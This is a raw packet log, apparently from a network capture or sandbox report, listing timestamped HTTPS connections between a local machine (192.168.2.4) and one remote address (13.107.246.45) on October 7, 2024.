Oct 7, 2024 18:44:11.574897051 CEST	443	53725	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.574928045 CEST	443	53725	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.574981928 CEST	53725	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.575004101 CEST	443	53725	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.575083017 CEST	53725	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.575463057 CEST	53725	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.575489998 CEST	443	53725	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.575505018 CEST	53725	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.575511932 CEST	443	53725	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.578593016 CEST	53729	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.578629017 CEST	443	53729	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.578695059 CEST	53729	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.578865051 CEST	53729	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.578881979 CEST	443	53729	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.625473976 CEST	443	53723	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.625569105 CEST	443	53723	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.625638008 CEST	53723	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.625868082 CEST	53723	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.625920057 CEST	443	53723	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.625955105 CEST	53723	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.625971079 CEST	443	53723	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.628788948 CEST	53730	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.628839016 CEST	443	53730	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.628988028 CEST	53730	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.629163980 CEST	53730	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.629183054 CEST	443	53730	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.933749914 CEST	443	53727	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.940805912 CEST	53727	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.940819025 CEST	443	53727	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.941848040 CEST	53727	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.941854954 CEST	443	53727	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.947120905 CEST	443	53726	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.947561979 CEST	53726	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.947588921 CEST	443	53726	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:11.947983027 CEST	53726	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:11.947990894 CEST	443	53726	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.038206100 CEST	443	53727	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.038490057 CEST	443	53727	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.038552999 CEST	53727	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.038590908 CEST	53727	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.038609028 CEST	443	53727	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.038618088 CEST	53727	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.038624048 CEST	443	53727	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.041898012 CEST	53731	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.041919947 CEST	443	53731	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.042042017 CEST	53731	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.042186975 CEST	53731	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.042198896 CEST	443	53731	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.047790051 CEST	443	53726	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.047830105 CEST	443	53726	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.047884941 CEST	53726	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.047898054 CEST	443	53726	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.048029900 CEST	53726	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.048038006 CEST	443	53726	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.048053026 CEST	53726	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.048086882 CEST	443	53726	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.050129890 CEST	53732	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.050225019 CEST	443	53732	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.050316095 CEST	53732	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.050455093 CEST	53732	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.050487995 CEST	443	53732	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.205060959 CEST	443	53728	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.205579042 CEST	53728	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.205602884 CEST	443	53728	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.206224918 CEST	53728	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.206232071 CEST	443	53728	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.220452070 CEST	443	53729	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.221209049 CEST	53729	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.221226931 CEST	443	53729	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.221787930 CEST	53729	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.221795082 CEST	443	53729	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.242686987 CEST	443	53730	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.254066944 CEST	53730	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.254091024 CEST	443	53730	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.254674911 CEST	53730	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.254683018 CEST	443	53730	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.304564953 CEST	443	53728	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.304732084 CEST	443	53728	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.305478096 CEST	53728	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.307832003 CEST	53728	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.307861090 CEST	443	53728	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.307877064 CEST	53728	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.307883024 CEST	443	53728	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.313585997 CEST	53733	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.313648939 CEST	443	53733	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.313795090 CEST	53733	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.314063072 CEST	53733	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.314076900 CEST	443	53733	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.317544937 CEST	443	53729	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.317800045 CEST	443	53729	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.317883015 CEST	53729	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.318077087 CEST	53729	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.318097115 CEST	443	53729	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.318110943 CEST	53729	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.318116903 CEST	443	53729	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.320693016 CEST	53734	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.320712090 CEST	443	53734	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.321002007 CEST	53734	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.321135044 CEST	53734	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.321146965 CEST	443	53734	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.356231928 CEST	443	53730	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.356317043 CEST	443	53730	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.357511044 CEST	53730	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.369168997 CEST	53730	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.369191885 CEST	443	53730	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.369265079 CEST	53730	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.369271040 CEST	443	53730	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.393872976 CEST	53735	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.393944979 CEST	443	53735	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.396678925 CEST	53735	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.396869898 CEST	53735	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.396888971 CEST	443	53735	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.697415113 CEST	443	53731	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.755506992 CEST	53731	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.784126043 CEST	443	53732	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.829149008 CEST	53731	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.829164982 CEST	443	53731	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.831176996 CEST	53731	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.831183910 CEST	443	53731	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.834605932 CEST	53732	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.840713024 CEST	53732	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.840734005 CEST	443	53732	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:12.844147921 CEST	53732	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:12.844163895 CEST	443	53732	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.125861883 CEST	443	53731	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.126043081 CEST	443	53731	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.126463890 CEST	53731	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.126465082 CEST	53731	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.126465082 CEST	53731	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.129828930 CEST	53736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.129944086 CEST	443	53736	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.130047083 CEST	53736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.130244017 CEST	53736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.130270958 CEST	443	53736	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.136745930 CEST	443	53732	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.136831045 CEST	443	53732	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.137093067 CEST	53732	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.137093067 CEST	53732	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.137093067 CEST	53732	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.139498949 CEST	53737	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.139539003 CEST	443	53737	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.139646053 CEST	53737	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.139785051 CEST	53737	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.139797926 CEST	443	53737	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.346112013 CEST	443	53733	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.346424103 CEST	443	53734	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.346889019 CEST	53733	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.346921921 CEST	443	53733	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.346982956 CEST	53734	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.346996069 CEST	443	53734	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.347429991 CEST	53733	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.347435951 CEST	443	53733	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.347486973 CEST	53734	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.347495079 CEST	443	53734	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.365041018 CEST	53732	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.365070105 CEST	443	53732	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.424624920 CEST	443	53735	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.425374985 CEST	53735	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.425395012 CEST	443	53735	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.425914049 CEST	53735	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.425919056 CEST	443	53735	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.427397966 CEST	53731	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.427427053 CEST	443	53731	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.443682909 CEST	443	53734	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.444020987 CEST	443	53734	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.444202900 CEST	53734	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.444202900 CEST	53734	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.444202900 CEST	53734	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.445370913 CEST	443	53733	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.445463896 CEST	443	53733	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.445504904 CEST	53733	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.445885897 CEST	53733	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.445885897 CEST	53733	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.445908070 CEST	443	53733	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.445919991 CEST	443	53733	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.447489977 CEST	53738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.447532892 CEST	443	53738	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.447623014 CEST	53738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.447838068 CEST	53738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.447848082 CEST	443	53738	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.449050903 CEST	53739	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.449099064 CEST	443	53739	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.449167013 CEST	53739	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.449321985 CEST	53739	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.449337006 CEST	443	53739	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.523149014 CEST	443	53735	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.523480892 CEST	443	53735	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.523536921 CEST	53735	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.523580074 CEST	53735	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.523601055 CEST	443	53735	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.523612022 CEST	53735	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.523617983 CEST	443	53735	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.528198957 CEST	53740	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.528248072 CEST	443	53740	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.528302908 CEST	53740	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.528484106 CEST	53740	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.528493881 CEST	443	53740	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.755501986 CEST	53734	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.755537987 CEST	443	53734	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.807054996 CEST	443	53737	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.807641983 CEST	53737	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.807678938 CEST	443	53737	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.808362007 CEST	53737	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.808372974 CEST	443	53737	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.808717012 CEST	443	53736	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.809099913 CEST	53736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.809144020 CEST	443	53736	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.809489012 CEST	53736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.809497118 CEST	443	53736	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.904176950 CEST	443	53737	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.904218912 CEST	443	53737	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.904266119 CEST	53737	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.904273033 CEST	443	53737	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.904325962 CEST	53737	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.904722929 CEST	53737	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.904738903 CEST	443	53737	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.904750109 CEST	53737	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.904756069 CEST	443	53737	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.907859087 CEST	53741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.907900095 CEST	443	53741	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.907962084 CEST	53741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.908116102 CEST	53741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.908127069 CEST	443	53741	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.908674002 CEST	443	53736	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.908737898 CEST	443	53736	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.908780098 CEST	53736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.908857107 CEST	53736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.908879995 CEST	443	53736	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.908904076 CEST	53736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.908910990 CEST	443	53736	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.911230087 CEST	53742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.911238909 CEST	443	53742	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:13.911282063 CEST	53742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.911395073 CEST	53742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:13.911403894 CEST	443	53742	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.062752008 CEST	443	53739	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.063359976 CEST	53739	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.063450098 CEST	443	53739	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.063879013 CEST	53739	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.063894033 CEST	443	53739	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.129728079 CEST	443	53738	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.130300999 CEST	53738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.130331993 CEST	443	53738	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.130889893 CEST	53738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.130897999 CEST	443	53738	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.162506104 CEST	443	53739	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.162547112 CEST	443	53739	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.162596941 CEST	443	53739	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.162631989 CEST	53739	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.162679911 CEST	53739	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.162856102 CEST	53739	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.162884951 CEST	443	53739	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.162903070 CEST	53739	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.162911892 CEST	443	53739	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.165775061 CEST	53743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.165821075 CEST	443	53743	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.165899038 CEST	53743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.166053057 CEST	53743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.166065931 CEST	443	53743	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.210558891 CEST	443	53740	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.211155891 CEST	53740	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.211185932 CEST	443	53740	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.211678028 CEST	53740	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.211683035 CEST	443	53740	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.238451958 CEST	443	53738	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.238527060 CEST	443	53738	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.238586903 CEST	53738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.238817930 CEST	53738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.238837957 CEST	443	53738	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.238848925 CEST	53738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.238854885 CEST	443	53738	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.241993904 CEST	53744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.242099047 CEST	443	53744	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.242206097 CEST	53744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.242352962 CEST	53744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.242383957 CEST	443	53744	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.322969913 CEST	443	53740	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.323343992 CEST	443	53740	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.323498964 CEST	53740	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.330193043 CEST	53740	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.330229998 CEST	443	53740	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.330249071 CEST	53740	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.330255032 CEST	443	53740	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.333698034 CEST	53745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.333753109 CEST	443	53745	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.333830118 CEST	53745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.333977938 CEST	53745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.333986044 CEST	443	53745	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.567436934 CEST	443	53741	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.568130970 CEST	53741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.568170071 CEST	443	53741	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.568638086 CEST	53741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.568646908 CEST	443	53741	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.573781013 CEST	443	53742	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.574089050 CEST	53742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.574109077 CEST	443	53742	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.574412107 CEST	53742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.574415922 CEST	443	53742	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.672131062 CEST	443	53741	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.672203064 CEST	443	53741	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.672267914 CEST	53741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.672560930 CEST	53741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.672590017 CEST	443	53741	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.672605038 CEST	53741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.672611952 CEST	443	53741	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.675548077 CEST	53746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.675596952 CEST	443	53746	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.675677061 CEST	53746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.675862074 CEST	53746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.675877094 CEST	443	53746	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.711779118 CEST	443	53742	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.712080002 CEST	443	53742	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.712156057 CEST	53742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.712282896 CEST	53742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.712305069 CEST	443	53742	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.712330103 CEST	53742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.712337017 CEST	443	53742	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.715488911 CEST	53747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.715599060 CEST	443	53747	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.715693951 CEST	53747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.715861082 CEST	53747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.715889931 CEST	443	53747	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.803325891 CEST	443	53743	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.804110050 CEST	53743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.804152966 CEST	443	53743	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.804677963 CEST	53743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.804685116 CEST	443	53743	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.884964943 CEST	443	53744	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.885771036 CEST	53744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.885859966 CEST	443	53744	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.886296988 CEST	53744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:14.886311054 CEST	443	53744	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:14.898686886 CEST	443	53743	13.107.246.45	192.168.2.4
